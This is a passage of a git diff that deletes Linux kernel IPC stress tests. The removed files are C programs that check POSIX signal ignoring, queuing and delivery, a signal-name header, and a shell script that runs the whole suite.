-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-#ifdef _IA64
-	fflush(stderr);
-#endif
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/signal_test_05.c b/testcases/kernel/ipc/ipc_stress/signal_test_05.c
deleted file mode 100644
index ad96f76..0000000
--- a/testcases/kernel/ipc/ipc_stress/signal_test_05.c
+++ /dev/null
@@ -1,315 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                            signal_test_05                            |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verify that signals can be ignored by the receiving    |
-|               process.                                               |
-|                                                                      |
-| Algorithm:    o  Spawn a child                                       |
-|                                                                      |
-|               (parent)                                               |
-|               o  Use sigaction (SIG_IGN) to ignore all catchable     |
-|                  signals from child, except for sigchild             |
-|               o  Wait until sigchld signal is received               |
-|               o  Verify that the sigchild interrupt was received     |
-|               o  Additionally check to verify that child process     |
-|                  exited successfully                                 |
-|                                                                      |
-|               (child)                                                |
-|               o  Send all catchable signals to the parent            |
-|               o  exit (implicitly send sigchild signal to parent)    |
-|                                                                      |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               sigaction () - Specify the action to take upon         |
-|                              delivery of a signal                    |
-|               wait () - Waits for a child process to stop or         |
-|                         terminate                                    |
-|               kill () - Sends a signal to a process                  |
-|                                                                      |
-| Usage:        signal_test_05                                         |
-|                                                                      |
-| To compile:   cc -o signal_test_05 signal_test_05                    |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/7/94 23:24:05                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    0.2     112993  DJK   Rewrite for AIX version 4.1                 |
-|    1.2     020794  DJK   Move to "prod" directory                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <stdio.h>
-#include <string.h>
-#ifdef _LINUX_
-#define __USE_XOPEN
-#include <sys/types.h>
-#include <sys/stat.h>
-#endif
-#include <unistd.h>
-#include <sys/signal.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <errno.h>
-
-#ifdef _LINUX_
-// bits/signum.h defines _NSIG as 64
-#define SIGMAX 64
-#endif
-
-/* Function prototypes */
-void ignore_signals();
-void child(int);
-void handler(int, int, struct sigcontext *);
-void sys_error(const char *, int);
-void error(const char *, int);
-
-/* Flag set upon receiving SIGCHLD signal */
-int sigchld_flag = 0;
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-
-	pid_t pid = getpid();	/* Process ID (of parent process) */
-	int status;		/* Child's exit status */
-
-	/* Print out program header */
-	printf("%s: IPC TestSuite program\n\n", *argv);
-
-	/* Set up our signal handler */
-	ignore_signals();
-
-	/*
-	 * Spawn a child process & have the child process send all of the
-	 * catchable signals to the parent.
-	 */
-	printf("\n\tSpawning child process\n");
-	switch (fork()) {
-	case -1:		/* Unable to create child process */
-		sys_error("fork failed", __LINE__);
-
-	case 0:		/* Child process */
-		child(pid);
-
-	default:		/* Parent process */
-		break;
-	}
-
-	/*
-	 * Wait for the child process to complete
-	 *
-	 * Suspend execution of the parent process until either a signal
-	 * that is not blocked or ignored, or until the child process
-	 * completes.
-	 *
-	 * Use the POSIX macro to insure that the child process exited
-	 * normally.
-	 *
-	 * Check to insure that the SIGCHLD signal was caught.
-	 */
-	wait(&status);
-
-	if (!WIFEXITED(status))
-		error("child process exited abnormally", __LINE__);
-
-	if (sigchld_flag != 1)
-		error("child process failed to send SIGCHLD signal", __LINE__);
-
-	printf("\n\tChild process exited successfully\n");
-
-	/* Program completed successfully -- exit */
-	printf("\nsuccessful!\n");
-
-	return 0;
-}
-
-/*---------------------------------------------------------------------+
-|                               child ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Child process                                             |
-|            o  Send all catchable signals (except sigchild) to parent |
-|            o  exit & implicitly send sigchild signal to parent       |
-|                                                                      |
-| Parms:     pid - process id of parent process                        |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void child(pid_t pid)
-{
-	int i;
-
-	/* Send one of each of the possible signals to the process */
-	printf("\n\tChild: sending ALL signals to parent!\n");
-	for (i = 1; i < (SIGMAX + 1); i++) {
-
-		/* Cannot catch or ignore the following signals */
-#ifdef _LINUX_
-		if ((i == SIGKILL) || (i == SIGSTOP)
-		    || ((i >= 32) && (i <= 34)))
-			continue;
-#else
-		if (i == SIGKILL || i == SIGSTOP || i == SIGCONT)
-			continue;
-#endif
-
-		/* Skip sigchild too */
-		if (i == SIGCHLD)
-			continue;
-#ifdef _IA64
-		/* RESERVED - DON'T USE */
-		if (i == SIGWAITING)
-			continue;
-#endif
-
-		printf("\tSending (%d)\n", i);
-
-		if (kill(pid, i) < 0)
-			sys_error("kill failed", __LINE__);
-	}
-
-	/* Exit & implicitly send a sigchild interrupt to the parent process */
-	exit(0);
-}
-
-/*---------------------------------------------------------------------+
-|                               handler ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal handler                                            |
-|            o  Send all catchable signals (except sigchild) to parent |
-|                                                                      |
-| Parms:     signal - signal number caught                             |
-|                                                                      |
-| Returns:   Aborts if an unexpected signal is caught                  |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int signal, int code, struct sigcontext *scp)
-{
-	char msg[100];
-
-	if (signal == SIGCHLD) {
-		printf("\tcaught SIGCHLD(%d) signal\n", signal);
-		sigchld_flag = 1;
-	} else {
-		sprintf(msg, "caught an unexpected signal (%d)", signal);
-		error(msg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                           ignore_signals ()                          |
-| ==================================================================== |
-|                                                                      |
-| Function:  Force all signals to be ignored, except for the following |
-|            signals:                                                  |
-|                                                                      |
-|            (Sent when child process stops or exits)                  |
-|                                                                      |
-|              o  SIGCHLD (20)                                         |
-|                                                                      |
-|            (Theses cannot be caught or ignored)                      |
-|                                                                      |
-|              o  SIGKILL (9)                                          |
-|              o  SIGSTOP (17)                                         |
-|              o  SIGCONT (19)                                         |
-|                                                                      |
-| Returns:   n/a                                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void ignore_signals()
-{
-	struct sigaction action;
-	char msg[100];
-	int i;
-
-	for (i = 1; i < (SIGMAX + 1); i++) {
-
-		/* Cannot catch or ignore the following signals: */
-#ifdef _LINUX_
-		if ((i == SIGKILL) || (i == SIGSTOP)
-		    || ((i >= 32) && (i <= 34)))
-			continue;
-#else
-		if (i == SIGKILL || i == SIGSTOP || i == SIGCONT)
-			continue;
-#endif
-
-		/* Do not ignore SIGCHILD signal */
-		if (i == SIGCHLD)
-			continue;
-
-		action.sa_handler = SIG_IGN;
-		sigfillset(&action.sa_mask);
-		action.sa_flags = SA_RESTART;
-
-		if (sigaction(i, &action, NULL) < 0) {
-			perror("ignore_signals: sigaction");
-			sprintf(msg, "sigaction failed on signal %d", i);
-			error(msg, __LINE__);
-		}
-	}
-
-	/* Setup signal handler for SIGCHLD signal */
-	action.sa_handler = (void (*)(int))handler;
-	sigfillset(&action.sa_mask);
-	action.sa_flags = SA_RESTART;
-	if (sigaction(SIGCHLD, &action, NULL) < 0)
-		sys_error("sigaction (SIGCHLD) failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/signal_test_06.c b/testcases/kernel/ipc/ipc_stress/signal_test_06.c
deleted file mode 100644
index 9b3f96f..0000000
--- a/testcases/kernel/ipc/ipc_stress/signal_test_06.c
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                            signal_test_06                            |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verifies that when multiple identical signals are sent |
-|               to a process, at least one is queued.                  |
-|                                                                      |
-| Algorithm:    o  Block all signals from interrupting the process     |
-|               o  Send MAXSIG signals to the current process          |
-|               o  Sleep for a short time                              |
-|               o  Verify that signals are pending                     |
-|               o  Change the signal mask and suspend execution until  |
-|                  a signal interrupts the process                     |
-|               o  Verify that at least one signal was received        |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               sigprocmask () - Sets the current signal mask          |
-|               sigismember () - Creates and manipulates signal masks  |
-|               sigfillset () - Creates and manipulates signal masks   |
-|               sigpending () - Returns a set of signals that are      |
-|                               blocked from delivery                  |
-|               sigsuspend () - Automatically changes the set of       |
-|                               blocked signals and waits for a signal |
-|               raise () - Sends a signal to the executing program     |
-|                                                                      |
-| Usage:        signal_test_06                                         |
-|                                                                      |
-| To compile:   cc -o signal_test_06 signal_test_06                    |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/7/94 23:24:14                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     122193  DJK   Wrote initial test for AIX version 4.1      |
-|    1.2     020794  DJK   Move to "prod" directory                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#define MAXSIG 1024*1024	/* Number of signals sent to process */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/signal.h>
-#include <errno.h>
-
-#ifdef _LINUX_
-// bits/signum.h defines _NSIG as 64
-#define SIGMAX 64
-#endif
-
-/* Function prototypes */
-void handler(int, int, struct sigcontext *);
-void init_sig();
-void sys_error(const char *, int);
-void error(const char *, int);
-
-/* Global variables */
-int signals_received = 0;
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	sigset_t newmask,	/* New signal mask */
-	 oldmask,		/* Initial signal mask */
-	 pendmask;		/* Pending signal mask */
-	int i;			/* Loop index */
-
-	/* Print out program header */
-	printf("%s: IPC TestSuite program\n\n", *argv);
-
-	/* Set up our signal handler */
-	init_sig();
-
-	/*
-	 * Block ALL signals from interrupting the process
-	 */
-	printf("\tBlock all signals from interrupting the process\n");
-	if (sigfillset(&newmask) < 0)
-		error("sigfillset failed", __LINE__);
-	if (sigprocmask(SIG_SETMASK, &newmask, &oldmask) < 0)
-		error("sigprocmask failed", __LINE__);
-
-	/*
-	 * Send MAXSIG signals to the current process -- since ALL of the
-	 * signals are blocked, none of the signals should interrupt the
-	 * process
-	 */
-	printf("\n\tSend MAX (%d) SIGUSR1 signals to the process...\n", MAXSIG);
-	for (i = 0; i < MAXSIG; i++)
-		raise(SIGUSR1);
-
-	/*
-	 *  Sleep for a short time and the check to ensure that a SIGUSR1
-	 *  signal is pending
-	 */
-	sleep(2);
-
-	printf("\n\tEnsure at least one SIGUSR1 signal is pending\n");
-	if (sigpending(&pendmask) < 0)
-		error("sigpending failed", __LINE__);
-
-	if (sigismember(&pendmask, SIGUSR1) == 0)
-		error("sent multiple SIGUSR1 signals to process, "
-		      "yet none are pending!", __LINE__);
-
-	/*
-	 * Change the signal mask to allow signals to interrupt the process
-	 * and then suspend execution until a signal reaches the process
-	 *
-	 * Then verify that at least one signal was received
-	 */
-	printf("\n\tChange signal mask & wait for SIGUSR1 signal\n");
-	if (sigsuspend(&oldmask) != -1 || errno != 4)
-		error("sigsuspend failed", __LINE__);
-
-	if (signals_received != 1) {
-		printf("Signals are queued!  Sent %d signals, "
-		       "while %d were queued\n", MAXSIG, signals_received);
-	}
-
-	/* Program completed successfully -- exit */
-	printf("\nsuccessful!\n");
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                               handler ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Catches signals and aborts the program if a signal other  |
-|            than SIGUSR1 was received                                 |
-|                                                                      |
-| Updates:   signals_received - global variable indicating the number  |
-|                               of SIGUSR1 signals received            |
-|                                                                      |
-| Returns:   Aborts if an unexpected signal is caught                  |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int signal, int code, struct sigcontext *scp)
-{
-	char msg[256];		/* Buffer for error message */
-
-	if (signal != SIGUSR1) {
-		sprintf(msg, "unexpected signal (%d)", signal);
-		error(msg, __LINE__);
-	}
-
-	printf("\tcaught SIGUSR1 (%d) signal\n", signal);
-	signals_received++;
-}
-
-/*---------------------------------------------------------------------+
-|                             init_sig ()                              |
-| ==================================================================== |
-|                                                                      |
-| Function:  Initialize the signal vector for ALL possible signals     |
-|            (as defined in /usr/include/sys/signal.h) except for      |
-|            the following signals which cannot be caught or ignored:  |
-|                                                                      |
-|              o  SIGKILL (9)                                          |
-|              o  SIGSTOP (17)                                         |
-|              o  SIGCONT (19)                                         |
-|                                                                      |
-| Returns:   n/a                                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void init_sig()
-{
-	struct sigaction invec;
-	char msg[256];		/* Buffer for error message */
-	int i;
-
-	for (i = 1; i <= SIGMAX; i++) {
-
-		/* Cannot catch or ignore the following signals */
-#ifdef _IA64			/* SIGWAITING not supported, RESERVED */
-		if ((i == SIGKILL) || (i == SIGSTOP) ||
-		    (i == SIGCONT) || (i == SIGWAITING))
-			continue;
-#else
-#ifdef _LINUX_
-		if ((i == SIGKILL) || (i == SIGSTOP)
-		    || ((i >= 32) && (i <= 34)))
-			continue;
-#else
-		if (i == SIGKILL || i == SIGSTOP || i == SIGCONT)
-			continue;
-#endif
-#endif
-
-		invec.sa_handler = (void (*)(int))handler;
-		sigemptyset(&invec.sa_mask);
-		invec.sa_flags = 0;
-
-		if (sigaction(i, &invec, NULL) < 0) {
-			sprintf(msg, "sigaction failed on signal %d", i);
-			error(msg, __LINE__);
-		}
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/signal_test_07.c b/testcases/kernel/ipc/ipc_stress/signal_test_07.c
deleted file mode 100644
index 8187580..0000000
--- a/testcases/kernel/ipc/ipc_stress/signal_test_07.c
+++ /dev/null
@@ -1,232 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                            signal_test_07                            |
-| ==================================================================== |
-|                                                                      |
-| Description:  Signal stress - send many signals to the process and   |
-|               verify that it receives every one                      |
-|                                                                      |
-| Algorithm:    o  Block all signals from interrupting the process     |
-|               o  Send MAX signals to the current process             |
-|               o  Sleep for a short time                              |
-|               o  Verify that signals are pending                     |
-|               o  Change the signal mask and suspend execution until  |
-|                  a signal interrupts the process                     |
-|               o  Verify that at least one signal was received        |
-|                                                                      |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               sigaction () - Specify the action to take upon         |
-|                              delivery of a signal                    |
-|               wait () - Waits for a child process to stop or         |
-|                         terminate                                    |
-|               kill () - Sends a signal to a process                  |
-|                                                                      |
-| Usage:        signal_test_07                                         |
-|                                                                      |
-| To compile:   cc -o signal_test_07 signal_test_07                    |
-|                                                                      |
-| Last update:   Ver. 1.3, 7/7/94 16:18:19                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    0.2     112993  DJK   Rewrite for AIX version 4.1                 |
-|    1.2     020794  DJK   Move to "prod" directory                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/signal.h>
-#include <sys/wait.h>
-#include <errno.h>
-
-#ifdef _LINUX_
-// bits/signum.h defines _NSIG as 64
-#define SIGMAX 64
-#endif
-
-/* Function prototypes */
-void handler(int, int, struct sigcontext *);
-void init_sig();
-void sys_error(const char *, int);
-void error(const char *, int);
-
-int signals_received = 0;
-
-#define MAXSIG 	1024*1024	/* Max interrupts */
-#define MAXTIME	2		/* Time out (minutes) */
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int timeout = MAXTIME * 60;	/* Timeout value */
-	int i;			/* Loop index */
-	char msg[256];		/* Buffer for error message */
-
-	/* Print out program header */
-	printf("%s: IPC TestSuite program\n\n", *argv);
-	fflush(stdout);
-
-	/* Set up our signal handler */
-	init_sig();
-
-	/*
-	 * Send MAXSIG signals to the process
-	 *
-	 * Using raise, send MAX signals to the process.  Then loop until
-	 * every signal is caught by the signal handler (or the timer expires).
-	 */
-	printf("\tSend MAX (%d) signals to the process...\n", MAXSIG);
-	fflush(stdout);
-	for (i = 0; i < MAXSIG; i++)
-		raise(SIGUSR1);
-
-	while (signals_received < MAXSIG && --timeout)
-		sleep(1);
-
-	if (timeout == 0) {
-		sprintf(msg, "failed to received %d signals in %d minutes\n",
-			MAXSIG, MAXTIME);
-		error(msg, __LINE__);
-	}
-
-	/*
-	 * Received ALL of the sent signals!  Exit with success
-	 */
-	printf("\n\tReceived EVERY signal!\n");
-
-	printf("\nsuccessful!\n");
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                               handler ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal handler                                            |
-|                                                                      |
-| Parms:     signal - signal number caught                             |
-|                                                                      |
-| Returns:   Aborts if an unexpected signal is caught                  |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int signal, int code, struct sigcontext *scp)
-{
-	char msg[256];		/* Buffer for error message */
-
-	if (signal == SIGUSR1) {
-		signals_received++;
-	} else if (signal == SIGUSR2) {
-		printf("\tcaught signal (%d)\n", signal);
-	} else {
-		sprintf(msg, "caught an unexpected signal (%d)", signal);
-		error(msg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             init_sig ()                              |
-| ==================================================================== |
-|                                                                      |
-| Function:  Initialize the signal vector for ALL possible signals     |
-|            (as defined in /usr/include/sys/signal.h) except for      |
-|            the following signals which cannot be caught or ignored:  |
-|                                                                      |
-|              o  SIGKILL (9)                                          |
-|              o  SIGSTOP (17)                                         |
-|              o  SIGCONT (19)                                         |
-|                                                                      |
-| Returns:   n/a                                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void init_sig()
-{
-	struct sigaction invec;
-	char msg[256];		/* Buffer for error message */
-	int i;
-
-	for (i = 1; i <= SIGMAX; i++) {
-
-		/* Cannot catch or ignore the following signals */
-#ifdef _IA64			/* SIGWAITING not supported, RESERVED */
-		if ((i == SIGKILL) || (i == SIGSTOP) ||
-		    (i == SIGCONT) || (i == SIGWAITING))
-			continue;
-#else
-#ifdef _LINUX_
-		if ((i == SIGKILL) || (i == SIGSTOP)
-		    || ((i >= 32) && (i <= 34)))
-			continue;
-#else
-		if (i == SIGKILL || i == SIGSTOP || i == SIGCONT)
-			continue;
-#endif
-#endif
-
-		invec.sa_handler = (void (*)(int))handler;
-		sigemptyset(&invec.sa_mask);
-		invec.sa_flags = 0;
-
-		if (sigaction(i, &invec, NULL) < 0) {
-			sprintf(msg, "sigaction failed on signal %d", i);
-			error(msg, __LINE__);
-		}
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/signals.h b/testcases/kernel/ipc/ipc_stress/signals.h
deleted file mode 100644
index a842123..0000000
--- a/testcases/kernel/ipc/ipc_stress/signals.h
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-// signal names for numbers
-
-char * signames [] =
-{"!!ERROR - NOT A SIGNAL!!",
- "SIGHUP", //          1       // Hangup (POSIX).
- "SIGINT", //          2       // Interrupt (ANSI).
- "SIGQUIT", //         3       // Quit (POSIX).
- "SIGILL", //          4       // Illegal instruction (ANSI).
- "SIGTRAP", //         5       // Trace trap (POSIX).
- "SIGIOT/SIGABRT", //  6       // Abort (ANSI).
-                   //  6       // IOT trap (4.2 BSD).
- "SIGBUS", //          7       // BUS error (4.2 BSD).
- "SIGFPE", //          8       // Floating-point exception (ANSI).
- "SIGKILL", //         9       // Kill, unblockable (POSIX).
- "SIGUSR1", //         10      // User-defined signal 1 (POSIX).
- "SIGSEGV", //         11      // Segmentation violation (ANSI).
- "SIGUSR2", //         12      // User-defined signal 2 (POSIX).
- "SIGPIPE", //         13      // Broken pipe (POSIX).
- "SIGALRM", //         14      // Alarm clock (POSIX).
- "SIGTERM", //         15      // Termination (ANSI).
- "SIGSTKFLT", //       16      // Stack fault.
- "SIGCLD/SIGCHLD", //  SIGCHLD // Same as SIGCHLD (System V).
- //"SIGCHLD", //       17      // Child status has changed (POSIX).
- "SIGCONT", //         18      // Continue (POSIX).
- "SIGSTOP", //         19      // Stop, unblockable (POSIX).
- "SIGTSTP", //         20      // Keyboard stop (POSIX).
- "SIGTTIN", //         21      // Background read from tty (POSIX).
- "SIGTTOU", //         22      // Background write to tty (POSIX).
- "SIGURG", //          23      // Urgent condition on socket (4.2 BSD).
- "SIGXCPU", //         24      // CPU limit exceeded (4.2 BSD).
- "SIGXFSZ", //         25      // File size limit exceeded (4.2 BSD).
- "SIGVTALRM", //       26      // Virtual alarm clock (4.2 BSD).
- "SIGPROF", //         27      // Profiling alarm clock (4.2 BSD).
- "SIGWINCH", //        28      // Window size change (4.3 BSD, Sun).
- "SIGPOLL/SIGIO", //   SIGIO   // Pollable event occurred (System V).
- //"SIGIO", //         29      // I/O now possible (4.2 BSD).
- "SIGPWR", //          30      // Power failure restart (System V).
- "SIGSYS/SIGUNUSED" //31      // Bad system call.
- //"SIGUNUSED", //       31
-};
-
diff --git a/testcases/kernel/ipc/ipc_stress/testall b/testcases/kernel/ipc/ipc_stress/testall
deleted file mode 100755
index 788a826..0000000
--- a/testcases/kernel/ipc/ipc_stress/testall
+++ /dev/null
@@ -1,57 +0,0 @@
-#!/bin/sh
-
-echo RUNNING ALL TESTS.  stdout > testlog
-
-rm -f testlog
-touch testlog
-
-export CYCLE=5
-
-while
-	[ -w testlog ]
-do
-	./message_queue_test_01 		1>> testlog 2>> testlog
-	./message_queue_test_02_get 		1>> testlog 2>> testlog
-	./message_queue_test_02_rcv 		1>> testlog 2>> testlog&
-	./message_queue_test_02_snd 		1>> testlog 2>> testlog
-	./message_queue_test_02_ctl -r  	1>> testlog 2>> testlog
-	./message_queue_test_04 		1>> testlog 2>> testlog
-	./message_queue_test_05 -n 8 		1>> testlog 2>> testlog
-	./cleanup
-	./pipe_test_01  			1>> testlog 2>> testlog
-	./pipe_test_02  			1>> testlog 2>> testlog
-	./pipe_test_02 -n 			1>> testlog 2>> testlog
-	./pipe_test_02 -b 8192 -p 32 		1>> testlog 2>> testlog
-	./pipe_test_02 -b 8192 -p 32 -n 	1>> testlog 2>> testlog
-	./semaphore_test_01			1>> testlog 2>> testlog
-	./semaphore_test_02			1>> testlog 2>> testlog
-	./semaphore_test_02 -s 64 -p 16 	1>> testlog 2>> testlog
-	./semaphore_test_03			1>> testlog 2>> testlog
-	./semaphore_test_03 -s 30 -p 16 	1>> testlog 2>> testlog
-	./cleanup
-	./shmem_test_01 			1>> testlog 2>> testlog
-	./shmem_test_01 -s 1024 		1>> testlog 2>> testlog
-	./shmem_test_02 	 		1>> testlog 2>> testlog
-	./shmem_test_02 -s 1024 -c 16		1>> testlog 2>> testlog
-	./shmem_test_03 			1>> testlog 2>> testlog
-	./shmem_test_03 -s 1024 -c 16		1>> testlog 2>> testlog
-	./shmem_test_04 			1>> testlog 2>> testlog
-	./shmem_test_04 -l 16 -p 16 -m 2	1>> testlog 2>> testlog
-	./shmem_test_04 -F 			1>> testlog 2>> testlog
-	./shmem_test_04 -F -l 16 -p 16 -m 2	1>> testlog 2>> testlog
-	./shmem_test_05 			1>> testlog 2>> testlog
-	./shmem_test_06 			1>> testlog 2>> testlog
-	./shmem_test_07 			1>> testlog 2>> testlog
-	./shmem_test_07 -c 4 -g 8 -s 1048576	1>> testlog 2>> testlog
-	./shmem_test_07 -c 16 -g 16 -s 1048576  1>> testlog 2>> testlog
-	./cleanup
-	./signal_test_01			1>> testlog 2>> testlog
-	./signal_test_02			1>> testlog 2>> testlog
-	./signal_test_03			1>> testlog 2>> testlog
-	./signal_test_04			1>> testlog 2>> testlog
-	./signal_test_05			1>> testlog 2>> testlog
-	./signal_test_06			1>> testlog 2>> testlog
-	./signal_test_07			1>> testlog 2>> testlog
-	./cleanup
-	echo ipc_str complete
-done
diff --git a/testcases/kernel/ipc/semaphore/Makefile b/testcases/kernel/ipc/semaphore/Makefile
index 7ee6189..9ab8574 100644
--- a/testcases/kernel/ipc/semaphore/Makefile
+++ b/testcases/kernel/ipc/semaphore/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/ipc/semaphore/sem02.c b/testcases/kernel/ipc/semaphore/sem02.c
index 7db142b..81e77d6 100644
